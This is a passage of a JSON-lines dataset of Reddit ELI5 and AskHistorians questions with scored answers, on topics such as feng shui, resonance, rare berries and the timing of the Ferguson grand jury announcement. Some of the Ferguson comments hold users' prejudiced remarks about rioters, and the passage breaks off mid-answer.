[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.mythandmystery.com/wp/paracas-skulls-not-human/", "https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/27/how-earths-hellish-birth-deprived-us-of-silver-and-gold/?noredirect=on&amp;utm_term=.9cf3d19dde7e", "https://www.washingtonpost.com/news/speaking-of-science/wp/2017/09/27/how-earths-hellish-birth-deprived-us-of-silver-and-gold/?noredirect=on&amp;utm\\_term=.9cf3d19dde7e", "https://www.environment.co.za/mining/south-africas-ancient-annunaki-gold-mines.html"], [], [], [], ["https://en.wikipedia.org/wiki/AU_Microscopii"], [], [], [], [], ["https://www.reddit.com/r/todayilearned/comments/6l79w3/til_that_stephen_hawkings_fear_of_aliens_comes/djs8uke/"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "88htp6", "title": "how does feng shui work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/88htp6/eli5_how_does_feng_shui_work/", "answers": {"a_id": ["dwkoxqv", "dwkpzdw"], "score": [14, 4], "text": ["It doesnt. A bowl of goldfish by your northeast entrance isnt going to improve your relationship problems. \n\nGood interior design *does* however improve your quality of life in general and has been shown to increase work productivity.", "From what I've absorbed through osmosis after ten years in asia, feng shui is all about placement of stuff (the stuff in your house, outside your house, and even your house itself), in order to retain good luck/energy, release the bad, and help it flow.  \nSome examples are:  \n- not having your front and back doors in a straight line so luck can't pass right through your house without stopping, and  \n- putting a small mirror over your front door to reflect bad luck away (but not good luck, i guess?)  \nNow admittedly i might be completely wrong. Whenever my mother-in-law starts telling us how to arrange the baby room for maximum luck, I tend to tune out and ignore her."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8b9b8f", "title": "forced vibrations and resonance", "selftext": "So I'm currently studying engineering and in Physics we are studying waves, but i\u00a1m not quite understanding it completely. So I'd like some to explain it to me in a \"non-conventional\" way that otherwise, I wouldn't get from my porfessor. Thanks in advice!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8b9b8f/eli5_forced_vibrations_and_resonance/", "answers": {"a_id": ["dx4xb4o", "dx4xf61", "dx4xkx8"], "score": [5, 2, 3], "text": ["I like thinking about it in terms of a bathtub. \n\nImagine you're sitting in the tub (or go get in a full bathtub for the full effect!) You're splashing your hand in the water, making waves. The waves spread out from your hand, bounce off a bathtub wall, and come back to you some time later. \n\nIf you smack the water once every ten seconds, you'll make a wave, it will rebound, and it will have totally died out by the time you smack again. If you smack the water as fast as you can (or more precisely, as *frequently* as you can), you'll make a mess, but there's nothing in there that's going to be recognizable as a wave, because each new wave is just running over the last and the ones that are bouncing back. \n\nBut somewhere inbetween those two there's a frequency where you'll see that the wave you make by smacking the water just perfectly lines up with the wave coming back at you from the last smack. The two waves hit each other and add together, making an even *bigger* wave. If you keep going at that exact rate of slaps, you'll get bigger and bigger waves, as each one adds to the last. That's the \"resonant frequency\" of the bathtub. \n\nFrom the engineers perspective (note: I am not an engineer) you'll find that the resonant frequency depends on the length of object (it'll take longer for the wave to reflect back to you if you have a really big bathtub) and also the material (the wave is going to behave super differently if the bathtub was full of, say, jello). \n\nDoes that make sense? Let me know if that isn't enough detail, or wasn't super clear! ", "Let's say you have a super loud sound system in your room/house/car.  It's got the air moving around and generating vibrations at a whole bunch of different frequencies that are the \"sound\" of your favorite song.  Let's say you're just chillin', sipping some wine from a thin, expensive crystal glass.  Bang, the glass breaks and spills wine all over your shirt.  What happened?\n\nThe speakers in your sound system forced vibrations (compression waves) into the air, because this is what we call sound.  These vibrations try to vibrate everything they run into, which means the tiny bones in your ear (this is how you hear them).  They also try to vibrate the glass.  Glass is pretty tough, so most of the time it works great.  The sound vibrates the glass and the friction in the structure of the glass flexes and turns that energy into heat and everything is awesome.\n\nHowever, your glass has a resonant frequency, this is the note it makes when you tap the rim.  At this frequency, the glass isn't damped.  That means it can vibrate at that frequency without friction to turn the vibrational motion into heat.  If your new favorite song contains that note, then it will add energy to the glass.  If the note is too long, or too frequent, you can add more energy to the glass than it can withstand, and it shatters.\n\nSometimes people (classically opera singers) do this on purpose to show how powerful their sound is.  It's a little dangerous, always wear safety glasses.", "Imagine a guitar string, stretched across two clamps to be the right tension for an \"A\" note.\n\nNow imagine an identical string stretched across an acoustic guitar.\n\nPluck both strings.\n\nThe clamped string will still produce an \"A\" note, but it won't be nearly as loud as the acoustic guitar.\n\nThat's because the strings force the wood of the guitar to vibrate at the same frequency, which in turn forces the air inside to vibrate at that frequency, and results in more air vibrating (and vibrating air is sound).\n\nThe basic idea is that when you vibrate something, the things it's attached to also vibrate.\n\nResonance describes the interaction of two different waves and how they can add to each other to increase amplitude; the simplest way to think of this is to think about two guitars playing the exact same note at the exact same time: twice as loud (ish)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9dijqp", "title": "what is the so called axis of evil and why does it trouble astronomers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9dijqp/eli5_what_is_the_so_called_axis_of_evil_and_why/", "answers": {"a_id": ["e5hrstq", "e5huksn", "e5ibaje", "e5iza1i", "e5izh97", "e5jg6jn", "e5jldg5"], "score": [2848, 216, 79, 751, 4, 2, 2], "text": ["Basically there is an underlying assumption that our universe should look essentially the same from any location, and that there's nothing special about where we are in it. \n\nThe Axis of Evil is an anomaly in the background radiation of the observable universe, which appears to line up oddly with our position.\n\nIf that were true, it would seem to suggest at least the possibility that the earlier statement is flawed, and raise quite a few questions about *why* our position is 'special.' However, there's definitely not strong agreement that this is actually the case, it has been suggested it could be coincidence, noise in how the data is processed, less significant than believed, or simply an error, among other ideas. ", "Fixed Link: _URL_0_\n\nThe Universe is thought to be mostly uniform, and ordinary, due to our Cosmological understanding of the Big Bang. Since everything began roughly the same exact time with the same materials. It makes since that statistically the universe will be similar from one end to another.\n\nHowever, after taking several data points, and looking closely at the data, the variations between each point shows it's not uniform. There's oddities like temperature and even orientation. If a singular big bang occured, it wouldn't provide random results throughout our known universe.\n\nTrying to explain statistically why things are random is a challenge. However, a greater one might be why a pole or section perfectly aligns with another, while most are random. This strange alignment is an Axis of Evil for cosmology to explain. \n", "Facinating!  But I still don't understand the reference to 'Evil'. If it is confirmed is there something dire implied? Or just that it potentially defies logic or odds or the current model, and that bugs the smartypants crew?", "Imagine yourself floating in space with an deflated balloon. Inside the balloon is a quarter. Now if you inflate the balloon, you'd expect it to expand evenly. Also, as the balloon expands, the quarter floats in the middle somewhere with its flat sides facing some direction.\n\nWhat astronomers are observing is that the universe expanded like the balloon was inflated, except the universe's expansion doesn't seem to be even like we would expect. What's even more strange is that the differences appear to be above/below our solar system's orbiting plane (the flat sides of the quarter.)\n\nSo there are two very strange things afoot here. 1) the balloon (the universe) doesn't appear to have expanded quite like we would expect it to. 2) the differences in expansion seem to line up with the orbital plane of our solar system, which is otherwise totally arbitrary (like the orientation of the quarter in the balloon.)", "Is this not related to the question \"Why is the universe not symmetrical?\"", "Why would they call it the Axis of **Evil**?", "Doesn't that just mean that the Milky Way Galaxy is spinning like a flat quarter, where the atoms that comprise the quarter are also flipping orientation in perpertuity"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.space.com/37334-earth-ordinary-cosmological-axis-evil.html"], [], [], [], [], []]}
{"q_id": "6noqn7", "title": "why did so many once-popular berries suddenly disappear from modern (us) consumption. boysenberry, gooseberry, mulberry, etc.", "selftext": "My grandparents talk about all these crazy berries they used to love as kids, and I've never even heard of them.  Why do we only really eat blueberries and strawberries now?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6noqn7/eli5_why_did_so_many_oncepopular_berries_suddenly/", "answers": {"a_id": ["dkb1b8l", "dkb1u53", "dkb4qoq", "dkbdery"], "score": [35, 7, 14, 5], "text": ["These berries are still available. But these days most Americans get their food from huge corporations that transport food hundreds or thousands of miles before selling it. They don't like to sell tender, delicate fruits, because they get squished in transportation, and don't last long on the shelf if not bought quickly.\n\n\n_URL_0_\n\n_URL_1_\n\nYou're free to bypass this nonsense by buying from local farmers' markets, or by growing your own of course.\n", "Those berries are not grown in a wide range of regions, some are not native to the US (gooseberry, mulberry) and so have to be selected to be grown by a farm or imported, and some are very finicky hybrids that are difficult to grow and maintain strain purity (Boysenberry). \n\nStrawberries, Blueberries, Raspberries, are more widely consumed and so easier to sell to food companies and stores so more farms raise them. Many are also native to the US and so easier to grow here. ", "You can go to knots Berry farm for your boysenberry fix.  I heard the guy who started knots first grew the boysenberry and named it after his neighbor.", "Gooseberries can host and spread a fungal disease called white pine blister rust. To prevent the spread of the fungus to pine trees, some parts of the US actually forbid gooseberry cultivation. Sometimes this rule even extends to currants, which are related to gooseberries and can also spread the fungus.\n\n_URL_0_\n\nGooseberries and currants are like little bags of juice on plants. If I remember correctly gooseberries have a little bit more flesh to them. But they don't store or travel well in the form of fresh fruit, so as was already mentioned the big agricultural corporations aren't really interested in them. If they're not legal to grow where you are, they might only be available as dried or canned/preserved fruit in specialty shops."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://food52.com/blog/16537-8-fruits-you-probably-won-t-find-at-the-grocery-store", "http://theconversation.com/our-favourite-fruits-come-in-thousands-of-varieties-but-no-supermarket-will-ever-sell-them-26840"], [], [], ["https://en.wikipedia.org/wiki/Gooseberry#Pests"]]}
{"q_id": "4j8wpp", "title": "How did people learn about wide varieties of topics before the printing press?", "selftext": "Now this is going to be a bit more of a broad and (probably not) less dumb of question than that, but I have always been boggled by how historians worked before books were widely available. Maybe I am overestimating how much you need books to learn things or how much effort you need to write one by hand, but I look at my textbooks and it just boggles me how anyone would be able to be well-read in ancient Greek and Roman history, or learning the finer points of another language in the 1100's when books were a hand-copying affair that took an extremely large amount of effort. It also boggles me how historians worked back in the medieval and ancient era, simply because I might be overestimating how difficult research was back then.\n\nSo make me feel dumb/pampered r/AskHistorians, because I know this probably is a stupid question.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4j8wpp/how_did_people_learn_about_wide_varieties_of/", "answers": {"a_id": ["d35bdhl"], "score": [2], "text": ["First off, there are no stupid questions on AskHistorians. Don't feel bad about trying to remedy a gap in your knowledge! \n\nSecond off, the answer to your question -- not to be glib -- is that they read books! Our wonderful medievalist /u/sunagainstgold has written about literacy before the printing press many times; although they are currently wrapped up in a conference paper, I'm pinging them in case they can answer later. \n\nYou may be interested in these previous threads on the press and the spread of books: \n\n_URL_0_\n\n_URL_6_\n\n_URL_3_\n\n_URL_4_\n\nAnd here are some other threads on the press: \n\n_URL_2_\n\n_URL_1_\n\n_URL_5_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4hzq9d/what_books_existed_before_the_printing_press_was/", "https://www.reddit.com/r/AskHistorians/comments/3wu930/how_wide_spread_were_personal_qurans_before_the/", "https://www.reddit.com/r/AskHistorians/comments/3do6bj/how_disruptive_was_the_printing_press_to_the/", "https://www.reddit.com/r/AskHistorians/comments/3pjy9l/what_happened_to_the_scribes_and_monks_after_the/", "https://www.reddit.com/r/AskHistorians/comments/4a8ucl/who_typically_ownedhad_access_to_the_bible_before/", "https://www.reddit.com/r/AskHistorians/comments/3qzc8v/how_did_people_learn_about_laws_before_the/", "https://www.reddit.com/r/AskHistorians/comments/45ug0n/what_were_the_options_for_a_woman_who_wanted/d00cob0"]]}
{"q_id": "2nbnop", "title": "why release a grand jury result at 9pm when you are worried about rioting? aren't people less likely to riot at 8am?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nbnop/eli5_why_release_a_grand_jury_result_at_9pm_when/", "answers": {"a_id": ["cmc5w2i", "cmc613q", "cmc9a0v", "cmccam8", "cmccngk", "cmcdpm9", "cmcds8f", "cmceka5", "cmces4v", "cmcf4f9", "cmcfcpt", "cmcfjty", "cmcfpww", "cmcfr0m", "cmcghed", "cmcgw9p", "cmch42t", "cmchdjd", "cmchj3u", "cmchlgj", "cmchuft", "cmchwgi", "cmchyoj", "cmchzdi", "cmci19j", "cmci9a1", "cmci9iq", "cmcii3u", "cmcivkq", "cmcizus", "cmcj47n", "cmcj59l", "cmcjfds", "cmcjfn9", "cmcjik1", "cmcjk4x", "cmcjnpi", "cmcjpo9", "cmcjrxh", "cmcjso8", "cmcjunf", "cmcjv23", "cmcjybd", "cmck5xd", "cmcklns", "cmcl5d8", "cmcl5t7", "cmcl790", "cmcl9fr", "cmcldlw", "cmclep7", "cmclhci", "cmclhwf", "cmcljzc", "cmclk0e", "cmcll4u", "cmclry2", "cmclskt", "cmcluoz", "cmcm6hx", "cmcm7sh", "cmcmdge", "cmcmsro", "cmcmum8", "cmcmwdq", "cmcok0s", "cmcoklw", "cmcop7x", "cmcotoe", "cmcp606", "cmcphvb", "cmcpn69", "cmcprf5", "cmcq00d", "cmcqgir", "cmcqxlp", "cmcr44h", "cmcr9km", "cmcs109", "cmctdzn", "cmctpve", "cmctvuq", "cmcy9wj", "cmd3eyt"], "score": [1762, 37, 5, 28, 13, 4, 27, 10, 3, 330, 2, 119, 2, 2203, 119, 3, 2, 4, 6, 2, 6, 14, 12, 4, 10, 10, 3, 3, 4, 8, 30, 5, 6, 2, 2, 5, 2, 4, 3, 2, 9, 4, 2, 2, 6, 6, 2, 4, 8, 3, 11, 2, 21, 2, 5, 2, 9, 2, 5, 4, 4, 11, 3, 4, 6, 2, 3, 2, 6, 4, 6, 4, 2, 2, 2, 3, 3, 2, 3, 2, 2, 2, 2, 2], "text": ["If people are going to riot, they're going to riot regardless of the time.  It's better to have the riots begin after most businesses are closed and people who do not want to be involved are home instead of out and about their business.  ", "It also gives the state time to prepare the National Guard, which was brought in today. They get time to get into place and have some strategy in case of the worst case scenario.", "The idea is to spread it out and break the timing of the protestors/rioters.\n\nThe more hardcore will start at it when it is announce, and run out of steam by the time the rest of the people get up the next morning.", "As they just discussed on CNN, if you announce the decision in the daytime, do you want looting and stores burning down while they are open when its filled with shoppers, especially during Thanksgiving week when people are more likely to be out and about?", "Why wasn't there a curfew set? ", "Less time to show up to the \"party.\"  As I imagine a very good portion of the unrest is from outside.", "It allows kids to get home from school also.  ", "The schools asked for them to postpone the announcement so children could get home from school and activities safely first.", "Would it not make more sense to release on TG day? Everyone is at home and eating a turkey with exception of retail employees and emergency responders. ", "I can comprehend the rioting, but why the looting? It is just further perpetuating a sterotype. I have never been so angry that I want to steal shit. \n\nApparently this bro doesn't even anger.", "Anyone care to provide some context? Curious what trial you're talking about", "Think about the kids. Most children are at home at night. Now picture the chaos if kids waiting for their bus ride to school got caught in the middle.", "Hey honey, you want to go start some fires and steal some shit from Walgreens? Nah, it was a tough day at the office, I'm gonna take a bath, we'll go to Toys r Us for the kids tomorrow. Hopefully there's some shit left.", "The reason that the statement and no indictment verdict was released at 8pm is that the school boards and after school programs asked that it be announced after all of the kids were safe in their home. It was a very good idea to do this as, think what would have happened if a child or another teenager were to get injured or God forbid killed.  ", "If you release the decision at 6am or 7am then the news media gets a full day of picking apart the decision and the DA's presentation of the case. \n\nIf you release it at 9pm people will riot and the news coverage will be focused almost exclusively on the rioting since it brings with it the better visuals for the TV news. \n\nIf there are concerns about public safety the smart thing to do would be to try and minimize the amount and concentration of rioting. Schools aren't the public safety experts. If you don't want kids to get hurt in the rioting then you could have closed school a day early for Thanksgiving break, waited until Wednesday when school was out or any number of options that were better than this. ", "Businesses are closed and most work related traffic is done. Plus maybe they thought it being colder at night would deter people.", "Pretty sure it was because schools asked they do it late so children could get home from school safely. ", "Yeah, because rioters have to go to work on the morning...", "No, riots can happen any time, but there will be children going to school at 8 am and they'll be in school all day. Despite everything else in this shit storm of a situation their choice of time to release the data was a good one. I would be willing to wager that they were drawing on the experience of the aftermath of the Martin Luther King Assassination, as it was released during school hours. \n\nFrom that previous shit storm, and a few others, some people learned don't tell people explosive news when kids are about as all you'll do is put them in danger.", "It's sad  that police shootings such as this, rioting and all the racial tension behind it are a part of the story of America. \n\nYou can easily go back to Rodney King. And that was, what, 20 years ago? \n\nOne thing is certain, it's not easily being a minority in the USA. ", "last week when it was in the teens would have been perfect. statistically riots happen in warm weather. \n", "A lot of people on here have really valid points, but what it comes down to is that many factors had to be considered and nothing was taken lightly. A few facts that must be put into consideration is \n1. There has been a lot of time spent deliberating and a lot of urging in the media and public over the grand jury making a swift decision. The cops want this over and done with, business owners are losing money and patience with lack of safety, the family needs closure. \n2. Someone mentioned closing schools early on Wednesday or publicizing on Friday.  Everyone is doing last minute holiday errands during the former, and when it comes to the latter, be real. That's black Friday. I feel like that had to have been a joke. We have enough people trampled at Walmart, let's air a controversial decision when peoples tensions are already high.\n3. Police and military strategy always begins with minimizing civilian danger and casualties. It was going to get out of hand regardless and with such a sensational case, doing so at 9 am does leave plenty of room for media exploitation but the early morning news is going to showcase the morning after with as much sadistic glee as they would have. It would also endanger people trying to you know... Go to work? Go to school? At 8 pm people are able to remove themselves from the situation should they want to protect their families, kids etc. Yes, rioting and protesting gets worse at night with mob mentality but it gives a better advantage to police of containing the situation without worrying about Jane doe driving with a newborn in the back when she gets tear gassed for being in the wrong place at the wrong time. \n4. Thanksgiving. Decision is made, people cry foul, rioting and over all anarchy. And then people go eat some turkey and stuffing and get subdued by the power of triptophan. It's the perfect distraction and rather ingenious. ", "I live in Oakland, CA.  Our public\nrail system is BART, I believe it was during the Trevon Martin events that protesters shut down a station and delayed trains.  The ruling came around 6pm pst. which is just past the halfway point of Bay Area commute peak time.   Assuming the national impact it probably made sense to announce then so that by the time the mobs reached boiling point it would be after all the critical mass of commuters and thus not fucking over the west coast knowing damn well people were going to throw a shit fit.", "Maybe it was done to demonstrate that \"those people\" simply are \"like that\".", "its colder at 9pm, and innocent people are likely to be safe at home away from rioters, if they release it at 8am people and kids are starting their day to go to work or school and can be caught up in the riot.", "I believe they did this because the actual hearing and verdict was chosen hours before (1-2pm I think) this gave enough time for everyone who participated in it enough time to leave town, hunker down in their houses, ect.. That's just what I was told though. Also like some people said, it gets less media coverage at night since everyone has gone home and is probably in bed. ", "The people rioting probably don't have jobs to go to in the AM anyways, so I don't think it really matters.", "It also spared a lot of business owners from being beaten up or worse when the looting started. If I was a Ferguson shop owner, I'd put a bigass sign that says, \"EMPLOYEES ARE ENCOURAGED TO CARRY HIGH CALIBER GUNS INSIDE PREMISES!\" ", "...and have a press conference where you insult the protesters and the media and lay all the evidence out making it sound like there should have been a trial after all. The smart thing would have been to just release a posting at 4:00am without any prior notification. ", "You know what you do at 3AM? You go home and go to sleep.\n\nYou know what happens if you start rioting at 9AM? You go home at 3AM.", "Or use a helicopter and drop a plastic box containing the verdict on to the top of Mount McKinley?", "Why is the timing of the announcement being called into question at all?", "I think it was for all emergency services to get set up and prepared for incoming reaction. Also, as others have said, people are going to riot regardless, just less chance for \"innocent\" people to be out and caught in the mix. ", "Perhaps some want people to riot? \n\nDivide and conquer, people need to be entertained so they never start thinking.", "People would just wait to riot for the next night anyway.  Just postponing the inevitable.", "Actually, the later the better.\n\nDuring the day, a riot has the ability to gain momentum all day. That gives those involved 16-18+ hours to get themselves all worked up. Remember, sometimes these things can be a like snowball. On protester does something, the next something more harsh.\n\nBy way of example, I saw one group throw a rock through a car window, the next tried to flip it. When that failed, they burned it.\n\nEscalation, pure and simple.\n\nI do have to say that the majority of media pics I see coming from that are people looting liquor stores.\n\nIt paints a very ugly picture of the rioters.", "They announced the Rodney King verdict at 6 in the morning on a Saturday and we all know what happened then.", "I would think it was also because people who didnt want to be in the middle of it could be at home.  People would have to be at work in the daytime and the risk for innocent people getting hurt by the looters would be greater.", "Yeah, because all of the rioters would have been in bed still since they don't have jobs to be at. ", "Now think of all the kids who won't have a meal today provided that all the schools in st louis are closed today. St louis is already poor and segregated enough as it is and now this riot has to happen.", "I figure that they wanted to wait until most business were closed to protect owners, employees and patrons. ", "Do you think the people rioting have actual jobs or someplace else to be at 8 am? ", "Y didn't they announce it at a random time so that people couldn't plan on going out to riot?", "I appreciate the answers and that the conversation stayed relatively civil.  I'm still not sure what the exact argument regarding timing was in the prosecutors office, but I have a feeling we won't ever really know what was going on behind the scenes.  I suspect it wasn't pretty.", "Nobody has really mentioned that if you announce early in the day that a decision will come out later, you get everyone keyed up to a level of anticipation that is going to physically and mentally exhaust them.  So that when they do riot they'll hit that wall sooner.  Not to mention they'll forget to load up on carbs all day or put on diapers or some other rookie looter mistake.", "Flames are more photogenic against the backdrop of night.", "  I doubt if the looters even have a job, so they'll be looting and burning stores from noon to night (Im sure these thugs don't get up until noon). Anyways, can you imagine the Media coverage if it was announced at 8am?  There are many hard working black Americans but I seriously don't think those rioters in Ferguson know how to work.", "There are some reasons to announce at night.  For example, less people are working in the day, children are at home and not at school.  These rioters were going to riot during the night or during the day.   You could also argue that more crimes are committed at night, but at least people are at home instead outside at this time.  I also think that the state had to get ready to react to the grand jury decision.  This type of situation happened before with the Rodney King case, so hopefully the government there will learn from that situation.  ", "Maybe they wanted the riots to happen so as to undermine the protester's credibility... ", "Not taking a side, but my first thought was that rioters don't have night vision. There is an inherent advantage to the police at night. ", "They should have just announced it on Black Friday at 6am and nobody would have noticed.", "Well its not like any of the rioters had jobs to go to the next morning or anything.", "One of the biggest concerns was that Clayton (the predominantly white business district) would be marched on and ultimately rioted in. Clayton is practically a ghost down after business hours. There's been a \"take this to the rich white people and disrupt THEIR lives\" message throughout this whole ordeal from the more radical protesters. Well, the rich white people weren't there at 9. Nothing to disrupt until 8 this morning, nearly 12 hours after the verdict.\n\nSadly, this means a lot of the damage was done to Ferguson itself. Blowing up its local economy by smashing in windows and looting and setting fires within stores. \n\nAs much as I sympathize with the protesters--this has all been a huge pile of crap--I also get why the National Guard stayed put in Clayton rather than going to Ferguson, which has been the subject of a lot of criticism. It's a damned if they do, damned if they don't situation now. They're either over-responding (\"here comes the National Guard again to tear gas the black community!\" or under-responding (\"How could the National Guard not come help when our neighborhoods were being destroyed??\"", "By 8am kids are going to school. They wanted to get it out of the way after rush hour when kids were home ", "So instead of immediate rioting, they would have protested at 8 AM, and then while everyone is at work they would block everyone's way home, and kids in schools may not be able to get home and/or if they do they may end up at a home with no parents in it.  They wanted to make sure the majority of people who didn't want to be a part of anything were able to get home and watch their property.  \n\nYou do it at AM and they have a much larger audience to terrorize.  ", "I heard there was an element of other US cities being a timezone or two ahead so it would be 10pm or 11pm when it hit them and they would be less likely to riot 'in sympathy' if it went that way. ", "This is probably already explained but I'm not reading all comments. The delay came at the request of the school system to make sure kids in extracurricular activities got home safely. Which is really sad - if your community school system is being terrorized by national leaders who self-proclaim commitment to community - you might be doing something wrong (looking at you Al Sharpton - and yes I dropped the \"reverend\" you disgrace the title)", "The riots will happen no matter what. And because of this there are less people outside at night. ", "Pretty clearly intended to trigger things after dark.", "Just think, if they did it at 8am, riots would have ALL day to happen, not just a few hours.", "Follow-up: why not wait until it rains/snows?", "They waited so everybody could get home. Could you imagine how heated people would get if they announced it at rush hour and the protesters blocked up a major highway? Shit would have gone down. ", "so that it could be the stuff of the 11 o'clock news. ", "People are presuming that the people that would loot, burn and pillage their own community have jobs or go to school.\n\nRioting is not a protest, it is an excuse to act like an animal without acepting the consequences.\n\nProtesting is the exact opposite.", "Release it on a rainy day. Suddenly everyone isn't so \"down for the cause\"", "Keep in mind, the Grand jury is done, how long do you think it would take them to blab the verdict for some money to the media? ", "No because on a weekday they won't stay out late since they have to go to work in the morning \n\n\n\n\n\n/s", "It was also pushed back later in order to take place *after* rush hour, so in case people wanted to leave the city, they would.", "The local schools in the area all told them to wait until after 5pm for student safety\n\nSource: I live here", "Because the people that work are home for the most part and rush hour traffic is done", "How come these rioters dont have any presence on the internet? I want to hear their justification for what they're doing. And how burning down stores will accomplish their goals.", "The people WANT to riot. I mean we all know that right? Its not a justice issue. People just need a reason. And most humans would love to do something illegal without punishment.", "I heard the school system asked to wait till all school and after school programs ended. ", "You are 100% correct. It was a bad idea to release the information at that time. It was poorly executed in both this manner and in how it was presented. ", "final answer, they did not want any people accidentally getting involved or latter claiming that they were \"on their way to work\" or \"i had to go buy food, I wasnt rioting!\" everyone there was to protest  ", "Maybe because in the morning there are decent people still out working and traveling to and from work. Call the verdict at 9pm and most sane people are home and will not be caught in the \"crossfire\" of violent demonstrations.", "Look this is likely gonna end up at the bottom of the pile but here goes.\n\nRegardless of the decision there was gonna be a riot. The people looting and otherwise shitting where they eat were going to either protest in disgust over an unjust verdict or riot in celebration that the cops are gonna go to trial.  Result was always going to be the same so they decided to get as many people off the streets as possible before the actual rioting started.", "The cynical side of me wants to say this whole thing was set up and that they want riots so they can declare martial law, but that's crazy, right?", "I thought it was because they don't have jobs anyways let's make it safer for those that do.", "Because the best time to start an inevitable riot is during primetime television. ", "The real question is why they didn't go ahead and pre-mobilize state police  &  national guard so they could be rushed onto the streets the second the results were know. There was ample evidence from the past months that there would be riot if no indictment was handed down.  ", "They did it so that people who didnt want to be on the streets at that time of day could be at home or somewhere else safe before something like this happened. There's a greater number of children out at 8 a.m. than at 9 p.m. Imagine if there were kids on a schoolbus at 8 a.m. when the riots broke out and the streets started to get mobbed and the bus couldn't go anywhere. They would need to be evacuated by the police and who knows what would happen before they got there. Just my 2 cents.", "It gets really cold overnight. The hope was that a couple hours of rioting would be enough to get it out of everyone's system. Starting at 8AM might have let the whole thing build enough momentum to turn into something way worse than a few torched cars.", "The better question is why did they make the announcement a big pre-planned event.  They might as well have said get ready, set, riot.  Why didn't they quietly release the decisions to different news agencies and let it trickle out without prior notice.  Without large crowds gathered ahead of time primed for action wouldn't riots be less likely or at least less intense."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2ld9a9", "title": "Any Oklahoma historians here?", "selftext": "I come from Broken Bow, Oklahoma in the U.S., I'm curious if anyone here knows any of the history in that part of Oklahoma. Just a personal study of mine, I can go back to the 1880s but I'm curious if anyone knows any history of that time or a little after.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ld9a9/any_oklahoma_historians_here/", "answers": {"a_id": ["cltpjdd", "clu6bu1"], "score": [7, 2], "text": ["That's Indian Territory.  There are quite a few experts on Native American history.  You might do better asking about the Cherokee after the Trail of Tears or asking about specific figures like Stand Watie.  To go back further you might ask about the history of Oklahoma or Indian Territory before the Louisiana Purchase.  It may seem odd but more specific questions generally get better answers.  For the best chance post the question directly in the title.  Hope you get what you are looking for.", "Ha, fellow BA guy here just bought a house there a few weeks ago actually. this is a good source for what you are looking for. but from what ive been reading it looks like there may not be a ton of recorded history until the turn of the century. \n\n_URL_1_\n\nFor shits and giggles,  here is a pic of my family first moving to oklahoma in 1896. Picture was taken at their homestead in Perkins, Oklahoma. The cabin foundation is still there (just barely).  The little baby is my grandfathers dad. \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/Mjr66Wk.jpg", "http://www.tulsaokhistory.com/cities/brokenarrow.html"]]}
{"q_id": "3w8gnh", "title": "Did the village used to raise the child?", "selftext": "As the father of a 2 year old with no family for thousands of miles, I often fantasize about having a village to help raise my child as this study: _URL_0_ rings all too true for me.\n\nMy question to you wonderful historians is: historically, did the village help raise the child?  Or is my fantasy of the elderly in the village watching the child in the morning while the parents go off and pass out for a couple extra hours just that, a fantasy?\n\nThank you.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3w8gnh/did_the_village_used_to_raise_the_child/", "answers": {"a_id": ["cxuuzzz"], "score": [7], "text": ["In the early middle ages, almost certainly yes - but not in the convenient way you're imagining.\n\nThe average age at death (NOT counting infant mortality) in the period I study, which is 6th century England, was about 25. A colleague is finishing his PhD on demographic modelling, and his work on this skeletal material makes it very clear that most children would have (statistically speaking) lost one parent during their childhood, and many would have lost both. Early medieval England was full of orphans.\n\nThat means that children had to have been raised by the community - perhaps extended kin groups, or maybe one of the other families in the settlement (there were usually a half dozen families living close together).\n\nSo: yes, the village raised the children. But unfortunately, not because their parents were sleeping."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/science/comments/3w7sbf/lack_of_sleep_found_to_impair_the_brains_ability/"], "answers_urls": [[]]}
{"q_id": "830awu", "title": "why are those cows mesmerized by the girl playing the accordion?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/830awu/eli5_why_are_those_cows_mesmerized_by_the_girl/", "answers": {"a_id": ["dve49e4", "dve4vg5", "dveh8pz", "dvekcp1"], "score": [35, 10, 3, 3], "text": ["First, cattle aren't nearly as stupid as people think (in fact, most mammals are pretty smart).  They are curious about interesting new phenomena in their environment.  If you came home and there was a new sculpture in the living room you would probably be curious too.  You'd figure it out quickly enough, but the cattle are more just entranced by the novelty of it.  Curiosity about the environment tends to serve both predators and prey well.\n\nSecond, remember cattle are herd animals.  They will tend to follow one another.  So it really only takes a few to perk up and start checking out something new, for the rest to join in.", "Many studies with cows show that they are very interested in music.  Milk production can be increased by choosing the kind of music they like best.  Playing the same music every day isn't as effective as playing similar music by similar artists.\n\nPerhaps they associate sharp sounds with predators, we don't have an excellent understanding of what's going on in their heads, but they 